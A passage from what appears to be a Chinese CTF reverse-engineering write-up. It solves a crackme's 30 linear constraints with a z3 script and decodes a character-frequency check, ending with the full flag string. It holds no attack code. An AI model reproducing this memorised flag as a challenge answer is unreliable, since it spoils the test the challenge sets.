(((((177 * equation[0] - 22 * equation[1]) + 699 * equation[2] + 64 * equation[3] - 56 * equation[4] - 96 * equation[5] - 66 * equation[6]) + 96 * equation[7] - 60 * equation[8] - 20 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 10 * equation[12] + 707 * equation[13] + 250 * equation[14] + 666 * equation[15] + -9 * equation[16] + 0 * equation[17] + -2 * equation[18] + 69 * equation[19] + 0 * equation[20] + 21 * equation[21] + 222 * equation[22] + 23 * equation[23] - 224 * equation[24]) + 25 * equation[25] - 26 * equation[26]) + 27 * equation[27] - 28 * equation[28] == 185016,
((((((77 * equation[0] - 2 * equation[1]) + 6 * equation[2] + 6 * equation[3] - 96 * equation[4] - 9 * equation[5] - 6 * equation[6]) + 96 * equation[7] - 0 * equation[8] - 20 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 10 * equation[12] + 707 * equation[13] + 250 * equation[14] + 666 * equation[15] + -9 * equation[16] + 0 * equation[17] + -2 * equation[18] + 9 * equation[19] + 0 * equation[20] + 21 * equation[21] + 222 * equation[22] + 23 * equation[23] - 224 * equation[24]) + 26 * equation[25] - -58 * equation[26]) + 27 * equation[27] - 2 * equation[28]) + 29 * equation[29] == 130106]
if all(expr_list):
print('Congratulation!!!')
else:
print('wrong_wrong!!!')

一堆约束,需要用z3求解

为什么能保证可解且唯一解?其实观察可知,每个方程都比前一个方程只多了一个未知数,而第一个方程只有一个未知量,显然是可解的,所以这个equation的30个未知数一定是有唯一解的,所以直接z3算出来就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from z3 import *

solver = Solver()
equation = [Int(f'equation_{i}') for i in range(30)]

solver.add(7 * equation[0] == 504)
solver.add(9 * equation[0] - 5 * equation[1] == 403)
solver.add((2 * equation[0] - 5 * equation[1]) + 10 * equation[2] == 799)
solver.add(3 * equation[0] + 8 * equation[1] + 15 * equation[2] + 20 * equation[3] == 2938)
solver.add((5 * equation[0] + 15 * equation[1] + 20 * equation[2] - 19 * equation[3]) + 1 * equation[4] == 2042)
solver.add((7 * equation[0] + 1 * equation[1] + 9 * equation[2] - 11 * equation[3]) + 2 * equation[4] + 5 * equation[5] == 1225)
solver.add(11 * equation[0] + 22 * equation[1] + 33 * equation[2] + 44 * equation[3] + 55 * equation[4] + 66 * equation[5] - 77 * equation[6] == 7975)
solver.add(((21 * equation[0] + 23 * equation[1] + 3 * equation[2] + 24 * equation[3] - 55 * equation[4]) + 6 * equation[5] - 7 * equation[6]) + 15 * equation[7] == 229)
solver.add((2 * equation[0] + 26 * equation[1] + 13 * equation[2] + 0 * equation[3] - 65 * equation[4]) + 15 * equation[5] + 29 * equation[6] + 1 * equation[7] + 20 * equation[8] == 2107)
solver.add((10 * equation[0] + 7 * equation[1] + -9 * equation[2] + 6 * equation[3] + 7 * equation[4] + 1 * equation[5] + 22 * equation[6] + 21 * equation[7] - 22 * equation[8]) + 30 * equation[9] == 4037)
solver.add((15 * equation[0] + 59 * equation[1] + 56 * equation[2] + 66 * equation[3] + 7 * equation[4] + 1 * equation[5] - 122 * equation[6]) + 21 * equation[7] + 32 * equation[8] + 3 * equation[9] - 10 * equation[10] == 4950)
solver.add((((13 * equation[0] + 66 * equation[1] + 29 * equation[2] + 39 * equation[3] - 33 * equation[4]) + 13 * equation[5] - 2 * equation[6]) + 42 * equation[7] + 62 * equation[8] + 1 * equation[9] - 10 * equation[10]) + 11 * equation[11] == 12544)
solver.add((((23 * equation[0] + 6 * equation[1] + 29 * equation[2] + 3 * equation[3] - 3 * equation[4]) + 63 * equation[5] - 25 * equation[6]) + 2 * equation[7] + 32 * equation[8] + 1 * equation[9] - 10 * equation[10]) + 11 * equation[11] - 12 * equation[12] == 6585)
solver.add(((((223 * equation[0] + 6 * equation[1] - 29 * equation[2] - 53 * equation[3] - 3 * equation[4]) + 3 * equation[5] - 65 * equation[6]) + 0 * equation[7] + 36 * equation[8] + 1 * equation[9] - 15 * equation[10]) + 16 * equation[11] - 18 * equation[12]) + 13 * equation[13] == 6893)
solver.add(((((29 * equation[0] + 13 * equation[1] - 9 * equation[2] - 93 * equation[3]) + 33 * equation[4] + 6 * equation[5] + 65 * equation[6] + 1 * equation[7] - 36 * equation[8]) + 0 * equation[9] - 16 * equation[10]) + 96 * equation[11] - 68 * equation[12]) + 33 * equation[13] - 14 * equation[14] == 1883)
solver.add((((69 * equation[0] + 77 * equation[1] - 93 * equation[2] - 12 * equation[3]) + 0 * equation[4] + 0 * equation[5] + 1 * equation[6] + 16 * equation[7] + 36 * equation[8] + 6 * equation[9] + 19 * equation[10] + 66 * equation[11] - 8 * equation[12]) + 38 * equation[13] - 16 * equation[14]) + 15 * equation[15] == 8257)
solver.add(((((23 * equation[0] + 2 * equation[1] - 3 * equation[2] - 11 * equation[3]) + 12 * equation[4] + 24 * equation[5] + 1 * equation[6] + 6 * equation[7] + 14 * equation[8] - 0 * equation[9]) + 1 * equation[10] + 68 * equation[11] - 18 * equation[12]) + 68 * equation[13] - 26 * equation[14]) + 15 * equation[15] - 16 * equation[16] == 5847)
solver.add((((((24 * equation[0] + 0 * equation[1] - 1 * equation[2] - 15 * equation[3]) + 13 * equation[4] + 4 * equation[5] + 16 * equation[6] + 67 * equation[7] + 146 * equation[8] - 50 * equation[9]) + 16 * equation[10] + 6 * equation[11] - 1 * equation[12]) + 69 * equation[13] - 27 * equation[14]) + 45 * equation[15] - 6 * equation[16]) + 17 * equation[17] == 18257)
solver.add(((((25 * equation[0] + 26 * equation[1] - 89 * equation[2]) + 16 * equation[3] + 19 * equation[4] + 44 * equation[5] + 36 * equation[6] + 66 * equation[7] - 150 * equation[8] - 250 * equation[9]) + 166 * equation[10] + 126 * equation[11] - 11 * equation[12]) + 690 * equation[13] - 207 * equation[14]) + 46 * equation[15] + 6 * equation[16] + 7 * equation[17] - 18 * equation[18] == 12591)
solver.add((((((5 * equation[0] + 26 * equation[1] + 8 * equation[2] + 160 * equation[3] + 9 * equation[4] - 4 * equation[5]) + 36 * equation[6] + 6 * equation[7] - 15 * equation[8] - 20 * equation[9]) + 66 * equation[10] + 16 * equation[11] - 1 * equation[12]) + 690 * equation[13] - 20 * equation[14]) + 46 * equation[15] + 6 * equation[16] + 7 * equation[17] - 18 * equation[18]) + 19 * equation[19] == 52041)
solver.add(((((((29 * equation[0] - 26 * equation[1]) + 0 * equation[2] + 60 * equation[3] + 90 * equation[4] - 4 * equation[5]) + 6 * equation[6] + 6 * equation[7] - 16 * equation[8] - 21 * equation[9]) + 69 * equation[10] + 6 * equation[11] - 12 * equation[12]) + 69 * equation[13] - 20 * equation[14] - 46 * equation[15]) + 65 * equation[16] + 0 * equation[17] - 1 * equation[18]) + 39 * equation[19] - 20 * equation[20] == 20253)
solver.add((((((((45 * equation[0] - 56 * equation[1]) + 10 * equation[2] + 650 * equation[3] - 900 * equation[4]) + 44 * equation[5] + 66 * equation[6] - 6 * equation[7] - 6 * equation[8] - 21 * equation[9]) + 9 * equation[10] - 6 * equation[11] - 12 * equation[12]) + 69 * equation[13] - 2 * equation[14] - 406 * equation[15]) + 651 * equation[16] + 2 * equation[17] - 10 * equation[18]) + 69 * equation[19] - 0 * equation[20]) + 21 * equation[21] == 18768)
solver.add((((((555 * equation[0] - 6666 * equation[1]) + 70 * equation[2] + 510 * equation[3] - 90 * equation[4]) + 499 * equation[5] + 66 * equation[6] - 66 * equation[7] - 610 * equation[8] - 221 * equation[9]) + 9 * equation[10] - 23 * equation[11] - 102 * equation[12]) + 6 * equation[13] + 2050 * equation[14] - 406 * equation[15]) + 665 * equation[16] + 333 * equation[17] + 100 * equation[18] + 609 * equation[19] + 777 * equation[20] + 201 * equation[21] - 22 * equation[22] == 111844)
solver.add((((((((1 * equation[0] - 22 * equation[1]) + 333 * equation[2] + 4444 * equation[3] - 5555 * equation[4]) + 6666 * equation[5] - 666 * equation[6]) + 676 * equation[7] - 660 * equation[8] - 22 * equation[9]) + 9 * equation[10] - 73 * equation[11] - 107 * equation[12]) + 6 * equation[13] + 250 * equation[14] - 6 * equation[15]) + 65 * equation[16] + 39 * equation[17] + 10 * equation[18] + 69 * equation[19] + 777 * equation[20] + 201 * equation[21] - 2 * equation[22]) + 23 * equation[23] == 159029)
solver.add((((520 * equation[0] - 222 * equation[1]) + 333 * equation[2] + 4 * equation[3] - 56655 * equation[4]) + 6666 * equation[5] + 666 * equation[6] + 66 * equation[7] - 60 * equation[8] - 220 * equation[9]) + 99 * equation[10] + 73 * equation[11] + 1007 * equation[12] + 7777 * equation[13] + 2500 * equation[14] + 6666 * equation[15] + 605 * equation[16] + 390 * equation[17] + 100 * equation[18] + 609 * equation[19] + 99999 * equation[20] + 210 * equation[21] + 232 * equation[22] + 23 * equation[23] - 24 * equation[24] == 2762025)
solver.add(((((1323 * equation[0] - 22 * equation[1]) + 333 * equation[2] + 4 * equation[3] - 55 * equation[4]) + 666 * equation[5] + 666 * equation[6] + 66 * equation[7] - 660 * equation[8] - 220 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 100 * equation[12] + 777 * equation[13] + 2500 * equation[14] + 6666 * equation[15] + 605 * equation[16] + 390 * equation[17] + 100 * equation[18] + 609 * equation[19] + 9999 * equation[20] + 210 * equation[21] + 232 * equation[22] + 23 * equation[23] - 24 * equation[24]) + 25 * equation[25] == 1551621)
solver.add((((((777 * equation[0] - 22 * equation[1]) + 6969 * equation[2] + 4 * equation[3] - 55 * equation[4]) + 666 * equation[5] - 6 * equation[6]) + 96 * equation[7] - 60 * equation[8] - 220 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 100 * equation[12] + 777 * equation[13] + 250 * equation[14] + 666 * equation[15] + 65 * equation[16] + 90 * equation[17] + 100 * equation[18] + 609 * equation[19] + 999 * equation[20] + 21 * equation[21] + 232 * equation[22] + 23 * equation[23] - 24 * equation[24]) + 25 * equation[25] - 26 * equation[26] == 948348)
solver.add(((((((97 * equation[0] - 22 * equation[1]) + 6969 * equation[2] + 4 * equation[3] - 56 * equation[4]) + 96 * equation[5] - 6 * equation[6]) + 96 * equation[7] - 60 * equation[8] - 20 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 10 * equation[12] + 707 * equation[13] + 250 * equation[14] + 666 * equation[15] + -9 * equation[16] + 90 * equation[17] + -2 * equation[18] + 609 * equation[19] + 0 * equation[20] + 21 * equation[21] + 2 * equation[22] + 23 * equation[23] - 24 * equation[24]) + 25 * equation[25] - 26 * equation[26]) + 27 * equation[27] == 777044)
solver.add((((((177 * equation[0] - 22 * equation[1]) + 699 * equation[2] + 64 * equation[3] - 56 * equation[4] - 96 * equation[5] - 66 * equation[6]) + 96 * equation[7] - 60 * equation[8] - 20 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 10 * equation[12] + 707 * equation[13] + 250 * equation[14] + 666 * equation[15] + -9 * equation[16] + 0 * equation[17] + -2 * equation[18] + 69 * equation[19] + 0 * equation[20] + 21 * equation[21] + 222 * equation[22] + 23 * equation[23] - 224 * equation[24]) + 25 * equation[25] - 26 * equation[26]) + 27 * equation[27] - 28 * equation[28] == 185016)
solver.add(((((((77 * equation[0] - 2 * equation[1]) + 6 * equation[2] + 6 * equation[3] - 96 * equation[4] - 9 * equation[5] - 6 * equation[6]) + 96 * equation[7] - 0 * equation[8] - 20 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 10 * equation[12] + 707 * equation[13] + 250 * equation[14] + 666 * equation[15] + -9 * equation[16] + 0 * equation[17] + -2 * equation[18] + 9 * equation[19] + 0 * equation[20] + 21 * equation[21] + 222 * equation[22] + 23 * equation[23] - 224 * equation[24]) + 26 * equation[25] - -58 * equation[26]) + 27 * equation[27] - 2 * equation[28]) + 29 * equation[29] == 130106)

# 解算方程
if solver.check() == sat:
model = solver.model()
solution = [model[equation[i]] for i in range(30)]
print(''.join(chr((solution[i]).as_long()) for i in range(30)))
else:
print("无解")
# H1Z1N1U1C1T1F1{1a6d275f7-463}1

把Z3结果转成ASCII解出来是<font style="color:#000000;">H1Z1N1U1C1T1F1{1a6d275f7-463}1</font>

这是flag吗?🤔这不是,但很像


继续分析源码第一个条件

1
2
3
4
5
6
7
8
9
inputs = input()  # 输入的字符串
counter = Counter(inputs)
counter_str = ''.join(str(counter [c]) for c in inputs)

print('ans1: ', end='')
print(counter_str)
if counter_str != '111111116257645365477364777645752361':
print('wrong_wrong!!!')
exit(1)

Counter对象输入是一个字符串,输出其实是一个dict

Key为字符,Value为该字符出现的频率

所以我们可以根据H1Z1N1U1C1T1F1{1a6d275f7-463}1得到关于flag的信息:

  • 其中’H’ ‘Z’ ‘N’ ‘U’ ‘C’ ‘T’ ‘F’ ‘{‘ ‘}’这几个字符只出现了一次
  • a d 7 f - 6这几个字符分别出现了6 2 5 7 4 3次,这几个频数没有重复
  • 可恢复Counter字典:['a':6, 'd':2, '7':5, 'f':7, '-':4, '6':3]

所以111111116257645365477364777645752361`代表这个Flag:

前8个1和最后一个1毫无疑问,都只在Flag中出现了1次,那么可以大胆推测Flag结构正是

**HZNUCTF{625764536547736477764575236}**(中间仍然为频数)

而中间的这个频数只出现了数字6 2 4 7 4 3,和之前的Counter字典对上了

直接利用dict的频数解密字符

1
2
3
4
5
6
7
8
9
10
11
key = '625743'
val = 'ad7f-6'
enc = '625764536547736477764575236'
res = 'HZNUCTF{'

for i in enc:
i = key.index(i)
res += val[i]

print(res+'}')
# HZNUCTF{ad7fa-76a7-ff6a-fffa-7f7d6a}

解得Flag(真几把难想

HZNUCTF{ad7fa-76a7-ff6a-fffa-7f7d6a}